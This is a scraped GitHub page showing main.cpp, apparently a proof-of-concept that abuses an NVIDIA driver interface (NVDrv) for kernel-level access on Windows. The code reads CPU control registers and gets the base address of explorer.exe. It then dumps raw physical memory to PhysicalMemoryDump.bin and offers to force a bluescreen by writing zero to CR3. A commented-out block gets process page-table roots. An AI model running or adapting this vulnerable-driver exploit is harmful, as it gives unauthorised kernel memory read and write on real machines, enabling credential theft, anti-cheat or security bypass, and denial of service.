-
Notifications
You must be signed in to change notification settings - Fork 71
/
main.cpp
88 lines (63 loc) · 1.83 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include "NVDrv.h"
#include <fstream>
void WriteFileToDisk(const char* file_name, uintptr_t buffer, DWORD size)
{
std::ofstream File(file_name, std::ios::binary);
File.write((char*)buffer, size);
File.close();
}
int main()
{
NVDrv* NV = new NVDrv();
/*
* Read control registers 0 - 4
*
*/
DWORD CR0 = NV->ReadCr(NVDrv::NVControlRegisters::CR0);
printf("CR0: %p\n", (void*)CR0);
DWORD CR2 = NV->ReadCr(NVDrv::NVControlRegisters::CR2);
printf("CR2: %p\n", (void*)CR2);
DWORD CR3 = NV->ReadCr(NVDrv::NVControlRegisters::CR3);
printf("CR3: %p\n", (void*)CR3);
DWORD CR4 = NV->ReadCr(NVDrv::NVControlRegisters::CR4);
printf("CR4: %p\n", (void*)CR4);
uintptr_t ProcessBase = NV->GetProcessBase(L"explorer.exe");
printf("ProcessBase: %p\n", (void*)ProcessBase);
/*
* Allocate temp memory for the dump
*
*/
DWORD DumpSize = 0xFFFF;
uintptr_t Allocation = (uintptr_t)VirtualAlloc(0, DumpSize, MEM_COMMIT, PAGE_READWRITE);
/*
* Read physical memory onto allocation
*
*/
for (int i = 0; i < (DumpSize / 8); i++)
NV->ReadPhysicalMemory(i * 8, (uintptr_t*)(Allocation + i * 8), 8);
/*
* Write the allocation to disk
*
*/
WriteFileToDisk("PhysicalMemoryDump.bin", Allocation, DumpSize);
if (Allocation)
VirtualFree((void*)Allocation, 0, MEM_RELEASE);
int Result = MessageBoxA(0, "BSOD via nulling CR3?", "Test", MB_YESNO);
/*
* Bluescreen via writing 0 to the control register 3
*
*/
if (Result == IDYES)
NV->WriteCr(NVDrv::NVControlRegisters::CR3, 0);
/*
* Disable KVA shadowing before continuing with this
*
*/
/*
auto SystemCR3 = NV->GetSystemCR3();
printf("SystemCR3: %p\n", (void*)SystemCR3);
auto ProcessCR3 = NV->GetProcessCR3(ProcessBase);
printf("ProcessCR3: %p\n", (void*)SystemCR3);
*/
Sleep(-1);
}